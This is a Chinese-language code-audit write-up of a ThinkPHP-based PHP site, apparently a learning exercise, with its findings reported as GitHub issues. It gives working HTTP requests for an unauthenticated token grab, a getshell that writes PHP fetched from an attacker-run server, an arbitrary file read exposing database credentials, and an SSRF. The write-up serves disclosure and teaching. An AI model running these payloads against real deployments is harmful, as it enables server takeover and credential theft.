0x00 前言
学习php代码审计的前提是需要熟悉 php 的语法;对Model(数据模型)、Controller(业务逻辑)、View(视图)类似的模式有了解;对SQL 预编译、一些危险函数有了解。我曾花了一个月时间学习 php 语法、创建 thinkphp 站点有所了解,所以在 githb 上找了一个站点作为练手。以下问题均已提交 Github issue。
代码审计可以分为两种手段:黑白盒。我们可以搭建站点后通过 AWVS 等扫描工具进行漏扫。也可以通过寻找危险函数来寻找那些可以获取权限的漏洞。这里个站点使用了一个比较小型的 waf,在我进行漏扫后没有发现什么漏洞。所以我直接采用了寻找危险函数可控点来发现严重的漏洞。
0x01 环境说明
Apache 2.4.46
MySQL 5.7.34
PHP 7.4.21
ThinkPHP 5.0.24
0x02 漏洞挖掘 | 远程文件上传 Getshell
1.发现危险函数
通过全局搜索 fopen 这个打开文件的函数,发现了 api 下面存在一个 path
用变量来控制,极有肯能存在问题。
双击后可以发现是一个 download_img 的函数,其中 url
和 path
变量是可控的。
这里直接使用 curl 访问了我们提供的 url
并且 path
也没有做任何过滤。直接读文件写到指定目录。
直接构造路近请求但是提示 token
错误,下一步我们需要获得token
。
2.获取token
思路一、伪造 token
token
获取的方式一般是通过登陆,不过我想知道 token
的构造看看尝试能不能直接伪造一段 token
在 api
中 Login.php
里发现登陆的入口
- 这里发现它使用
this
进行调用getLogic
类内公开函数,往上找发现这个函数返回了一个新的UserLogic
类对象。 - 通过调用这个返回的对象
login
函数才能进一步知道执行了什么。 - 再往上看发现
UserLogic
不是这个class Login
的,而是继承Common
父类。
在 common
里发现可以发现 UserLogc.php
里的 login
函数
- 往下看可以找到生成
token
的代码 - 主体是这个生成的,这里使用了
logic('Token')
去获取类,我们跟进去就可以找到处理Token
的文件。
跟进 logic
函数可以发现这里执行了两个步骤:
- 一个是拼接文件名,
class
变量中使用传入的name
变量进行拼接,我们拿到刚刚的'Token'
可以推出变量为:\app\common\logic\TokenLogic
- 直接通过
new
来生成TokenLogic
对象
找到 TokenLogic.php
文件,进一步跟踪到 getToken
函数
往下看发现了 token
的构造是 $type-$user_id-microtime
其中 microtime
是获取的时间戳。
再往上看,有一个 checkToken
函数用于校验。model
是数据模型了,这里的意思是直接通过数据库查询传递的 token
是否匹配。这就导致即使我们伪造了 token
但是不在数据库那就不能通过。
思路二、间接获取 token
看源码可以知道,一定是要登陆才能调用到 getToken
。可以通过注册登陆的方式来获取,但是如果关闭了注册功能、注册功能失效,我们就没法获取 token
了。有没有不需要有账号密码即可获取 token
的方式?
我们继续来看登陆功能的 Login.php
发现提供了一种不需要账号密码就可以登陆的方式。
进一步跟进 wxLogin
函数
- 折叠函数里包含了输入内容的校验,大概意思是用户不存在可以创建一个新的,这里我们可以不用管。
- 通过了校验之后会生成新的
token
我们直接构造数据包,填入需要的字段即可直接拿到生成的 token
。
3.漏洞复现
1.获取 token
文件上传的接口需要 access_token ,我们可以通过下面这个接口获取
POST /api/login/wx_login HTTP/1.1
Host: nbnbk:8888
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Connection: close
openid=1&unionid=1&sex=1&head_img=1&nickname=1
可以在返回包中发现 token 已经生成
2.在 vps 中启动 http 服务
echo '<?php phpinfo();' > index.php
python -m http.server 8099
3.文件上传
POST /api/User/download_img HTTP/1.1
Host: nbnbk:8888
Content-Type: application/x-www-form-urlencoded
Content-Length: 95
Connection: close
access_token=87b5fd1230df78dad5a62924426a9a6d&url=http://127.0.0.1:8099/index.php&path=info.php
这里的 access_token 就是上面获取的 token,url 是文件地址,path 是文件名
返回 200 表示成功,我们直接访问 http://nbnbk:8888/info.php 可以看到已经写入文件并能成功解析。如果有权限问题,可以考虑上传到 uploads
目录也可以执行。
0x03 漏洞挖掘 | 任意文件读取
1.漏洞分析
通过全局搜索危险函数 file_get_contents
可以找到一处 api
目录下的文件,这意味着我们可以构造请求。
查看代码我们可以知道,这里没有任何的防御。file_get_contents
函数的参数是可控的。
这里将文件转成 base64
并通过 chunk_split
对数据进行了分割,这里没有其他参数,只是把换行进行了转码,格式为 \r\n
。
2.漏洞复现
POST /api/Index/getFileBinary HTTP/1.1
Host: nbnbk:8888
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
url=../application/database.php
通过修改 url
参数来读取文件,来看返回数据。
HTTP/1.1 200 OK
Date: Fri, 04 Mar 2022 03:39:37 GMT
Server: Apache/2.4.46 (Unix) mod_fastcgi/mod_fastcgi-SNAP-0910052141 PHP/7.4.21 OpenSSL/1.0.2u mod_wsgi/3.5 Python/2.7.13
X-Powered-By: PHP/7.4.21
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET,POST
Access-Control-Allow-Headers: x-requested-with,content-type,x-access-token,x-access-appid
Content-Length: 2784
Connection: close
Content-Type: text/html; charset=UTF-8
{"code":0,"msg":"操作成功","data":"PD9waHAKLy8gKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t\r\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KLy8gfCBUaGlua1BIUCBbIFdFIENBTiBETyBJVCBKVVNU\r\nIFRISU5LIF0KLy8gKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t\r\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KLy8gfCBDb3B5cmlnaHQgKGMpIDIwMDZ+MjAxNiBo\r\ndHRwOi8vdGhpbmtwaHAuY24gQWxsIHJpZ2h0cyByZXNlcnZlZC4KLy8gKy0tLS0tLS0tLS0tLS0t\r\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0K\r\nLy8gfCBMaWNlbnNlZCAoIGh0dHA6Ly93d3cuYXBhY2hlLm9yZy9saWNlbnNlcy9MSUNFTlNFLTIu\r\nMCApCi8vICstLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t\r\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tCi8vIHwgQXV0aG9yOiBsaXUyMXN0IDxsaXUyMXN0QGdtYWls\r\nLmNvbT4KLy8gKy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t\r\nLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCi8vIOaVsOaNruW6k+mFjee9ruaWh+S7tgoKcmV0dXJu\r\nIFsKICAgIC8vIOaVsOaNruW6k+exu+WeiwogICAgJ3R5cGUnICAgICAgICAgICA9PiAnbXlzcWwn\r\nLAogICAgLy8g5pyN5Yqh5Zmo5Zyw5Z2ACiAgICAnaG9zdG5hbWUnICAgICAgID0+ICcxMjcuMC4w\r\nLjEnLAogICAgLy8g5pWw5o2u5bqT5ZCNCiAgICAnZGF0YWJhc2UnICAgICAgID0+ICduYm5iaycs\r\nCiAgICAvLyDnlKjmiLflkI0KICAgICd1c2VybmFtZScgICAgICAgPT4gJ3Jvb3QnLAogICAgLy8g\r\n5a+G56CBCiAgICAncGFzc3dvcmQnICAgICAgID0+ICdwYXNzQCExMjMnLAogICAgLy8g56uv5Y+j\r\nCiAgICAnaG9zdHBvcnQnICAgICAgID0+ICc4ODg5JywKICAgIC8vIOi\/nuaOpWRzbgogICAgJ2Rz\r\nbicgICAgICAgICAgICA9PiAnJywKICAgIC8vIOaVsOaNruW6k+i\/nuaOpeWPguaVsAogICAgJ3Bh\r\ncmFtcycgICAgICAgICA9PiBbXSwKICAgIC8vIOaVsOaNruW6k+e8lueggem7mOiupOmHh+eUqHV0\r\nZjgKICAgICdjaGFyc2V0JyAgICAgICAgPT4gJ3V0ZjgnLAogICAgLy8g5pWw5o2u5bqT6KGo5YmN\r\n57yACiAgICAncHJlZml4JyAgICAgICAgID0+ICdmbF8nLAogICAgLy8g5pWw5o2u5bqT6LCD6K+V\r\n5qih5byPCiAgICAnZGVidWcnICAgICAgICAgID0+IGZhbHNlLAogICAgLy8g5pWw5o2u5bqT6YOo\r\n572y5pa55byPOjAg6ZuG5Lit5byPKOWNleS4gOacjeWKoeWZqCksMSDliIbluIPlvI8o5Li75LuO\r\n5pyN5Yqh5ZmoKQogICAgJ2RlcGxveScgICAgICAgICA9PiAwLAogICAgLy8g5pWw5o2u5bqT6K+7\r\n5YaZ5piv5ZCm5YiG56a7IOS4u+S7juW8j+acieaViAogICAgJ3J3X3NlcGFyYXRlJyAgICA9PiBm\r\nYWxzZSwKICAgIC8vIOivu+WGmeWIhuemu+WQjiDkuLvmnI3liqHlmajmlbDph48KICAgICdtYXN0\r\nZXJfbnVtJyAgICAgPT4gMSwKICAgIC8vIOaMh+WumuS7juacjeWKoeWZqOW6j+WPtwogICAgJ3Ns\r\nYXZlX25vJyAgICAgICA9PiAnJywKICAgIC8vIOaYr+WQpuS4peagvOajgOafpeWtl+auteaYr+WQ\r\npuWtmOWcqAogICAgJ2ZpZWxkc19zdHJpY3QnICA9PiB0cnVlLAogICAgLy8g5pWw5o2u6ZuG6L+U\r\n5Zue57G75Z6LIGFycmF5IOaVsOe7hCBjb2xsZWN0aW9uIENvbGxlY3Rpb27lr7nosaEKICAgICdy\r\nZXN1bHRzZXRfdHlwZScgPT4gJ2FycmF5JywKICAgIC8vIOaYr+WQpuiHquWKqOWGmeWFpeaXtumX\r\ntOaIs+Wtl+autQogICAgJ2F1dG9fdGltZXN0YW1wJyA9PiBmYWxzZSwKICAgIC8vIOaYr+WQpumc\r\ngOimgei\/m+ihjFNRTOaAp+iDveWIhuaekAogICAgJ3NxbF9leHBsYWluJyAgICA9PiBmYWxzZSwK\r\nICAgIC8v5Y+W5raI5YmN5Y+w6Ieq5Yqo5qC85byP5YyWCiAgICAnZGF0ZXRpbWVfZm9ybWF0Jz0+\r\nIGZhbHNlLApdOwo=\r\n"}
文件信息在 data
字段中,是 base64
编码的格式,但其中包含了大量的 \r\n
导致我们没法直接解码。我们可以通过 js
去将所有 \r\n
删掉。
-
打开 Google Chrome 游览器
-
打开一个控制台
- 输入以下代码
a = "$data string"
a.replaceAll('\r\n', '')
演示将上面代码进行转化
将转化后的数据进行 base64
转码 我使用的是 Google Chrome
插件 FeHelper
该漏洞还可以成为有回显的 SSRF
。
我在和站点同一服务器下搭建了一个 php
的 web
服务,其中首页是输出一段文字。
通过接口访问可以获得内网服务信息。
0x04 漏洞挖掘 | SSRF 漏洞
1.漏洞分析
通过直接搜索 curl_exec
函数,发现一个可控的 curl url
参数。
具体看一下函数,发现是做远程上传文件的功能,既然 url
可控,那就可以做 ssrf
。
构造一下数据包,其中 file
要求 array
的形式 file[tmp_name]=1
。
这里发送请求之后提示500,但是服务器的请求已经发送了。
2.漏洞复现
POST /api/Image/curl_upload_image HTTP/1.1
Host: nbnbk:8888
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
url=http://127.0.0.1:8088&file[tmp_name]=1&file[type]=1&file[name]=1
替换 url
来进行 SSRF
攻击,该漏洞没有回显。发送请求后可以看到服务器已经向外请求了。
总结
这里的代码审计我并没有过多关注逻辑漏洞的问题,反而更加关注能直接获取主机权限的漏洞。目的其实很明确,找到可以构造的输入点,对输入点的绕过,执行我们想要执行的危险函数拿到我们想要的数据。
"一切存在用户输入的地方都有可能存在漏洞"。